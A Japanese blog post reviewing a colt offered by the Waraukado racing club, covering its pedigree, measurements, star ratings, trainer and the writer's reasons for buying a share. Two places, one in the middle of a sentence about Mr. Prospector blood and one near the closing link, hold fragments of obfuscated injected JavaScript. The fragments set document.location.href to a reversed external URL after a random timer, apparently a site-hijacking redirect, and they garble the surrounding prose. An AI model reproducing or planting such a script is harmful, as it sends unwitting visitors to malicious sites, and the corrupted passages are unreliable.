地方馬の追加募集

2019年11月にワラウカドで地方馬の追加募集が発表されました。
所属はホッカイドウ競馬で5年連続調教師リーディングである名門田中淳司厩舎。
以前ワラウカドで募集されたスカイファルコン(父スマートファルコン)の半弟でもあるのでクラブなじみの血統ですね。

考察

ミラクルプリンセスの2018(

クラブより許可を得て画像を転載しています。

フリオーソ
母 (母父) ミラクルプリンセス(タイキシャトル)
生年月日 2018年01月17日
募集価格 500万円
調教師 地方 田中淳司(北海道)
生産者 パカパカファーム
測尺 [体高cm / 胸囲cm / 管囲cm / 体重kg]
156 / 178 / 19.0 / 460 (11/28 9:00計測)
評価
 種牡馬実績:★★★★★☆☆☆
 母現役成績:★☆☆☆☆☆☆☆(未勝利
 母産駒実績:★★☆☆☆☆☆☆(6頭デビュー済:中央未勝利)
出生時母年齢:★★★★★★☆☆(14歳:高齢 14-17歳、◎空胎明け牡馬
  馬体評価:★★★★★☆☆☆
  厩舎実績:★★★★★★★★
  総合評価:★★★★★☆☆

フリオーソ産駒はロベルトの血を含んでいるため牡馬優勢傾向にあります。
実際に成績を見ても2020/1現在で獲得賞金上位10頭ほどが全て牡馬とかなり顕著に出ています。
本馬は牡馬ですのでこの点は問題なしですね。

ただ、活躍馬の配合を見てみるとほとんどが母方にミスプロ(Mr. Prospecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor)を持っているので、これを持っていない点は少し心配です。
とはいえ、ミスプロのクロスの無いフリオーソ産駒でも1000万円や2000万円以上稼いでる馬は多数いるので、本馬の500万円という募集価格であれば十分検討の余地はあるように思います。
また、活躍馬にはHaloやNijinskyを持った馬が多いので、この2つの血を持っている点はプラス材料です。

次に母方を見てみると、母ミラクルプリンセスはグランプリホースであるメイショウドトウの半妹ということで期待され、大樹レーシングで4000万円で募集された良血馬です。
しかし、残念ながら結果は出せず中央未勝利で引退しました。

産駒成績も奮わず中央では未だ未勝利。ただ、父パイロのロードスヴァローグはダートの新馬戦で2着に入る活躍を見せています。
ロードスヴァローグに関してはその後地方で堅実に上位入着を繰り返し既に30戦以上走っていることから、このタフさが母譲りであるなら魅力に感じる部分です。1つ上のヤマノスプリンターは中央・地方合わせて54戦してます。

母年齢に関しては14歳と少し高齢に差し掛かり気味ですが、まだ顕著に産駒成績が落ちるような年齢ではありません。
それよりも空胎明けの牡馬というのがデータ的には狙い目なので、ここを個人的に高く評価しています。

馬体はバランスが良く、特に気になるところはありません。(相馬眼には自信無しですが…)
管囲は19.0cmと細めですが、それほど大型馬というイメージはありませんし、ダートが主戦となればそこまで心配する必要はないと考えています。

最後に、所属はホッカイドウ競馬で5年連続リーディングの田中淳司調教師。
育成に関してはこの先生に任せておけば間違いないでしょう。
既に入厩済みで順調に調教が進められているようです。

出資に至った理由

2018年度産駒はすでに何頭か出資しており、追加するにしてもあと1頭くらいかなと思っていたところに突如募集されたこの地方馬。
当初からかなり気にはなっていたものの、様子見できるのであれば様子見したいというのが本音で2ヶ月ほど間が空きました。

このタイミングで決めたのは、馬名募集が2/7締め切りなのでせっかく出資するからにはやはりこれに参加したいと思ったからです。
1月末時点でまだ残口は半数以上残っていますが、SNSの書き込みを見ていると結構様子見されている方が多い印象。
締め切り直前に急速に残口が減るようなそんな予感がしています。

他の様子見馬の中から私がこの馬を選んだ理由は、平日に出資馬を応援する機会ができるというのが一つ。
地方競馬はほとんどが平日開催。
しかも中央競馬に比べて出走間隔が短い傾向が強く、応援する楽しみが増えるのは嬉しいです。

もちろん、地方競馬を中心にダートで大活躍しているフリオーソ産駒というのも魅力。
加えて1年の空胎を経ての待望の牡馬。母はメイショウドトウの半妹という血統的魅力にも惹かれました。

正直中央でもそこそこやれるのではないかと思っていますが、ホッカイドウ競馬の名門厩舎からいずれ中央の重賞に挑戦なんてことが起これば最高に夢のある話。
そんな期待を抱いて出資を決めました。

ちなみに、馬名については実は出資する前から決めていました。
ワラウカドでは地方馬の場合、中央馬と同じ7案ではなく5案までが候補に残るようです。
100口募集馬とはいえ狭き門ですので、まずはここに残ることができればと思っています。
2/12の馬名候補発表が楽しみ!

dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom” style=”border-radius: 0px;”>その他のワラウカド2018年度産募集馬レビューはこちら!
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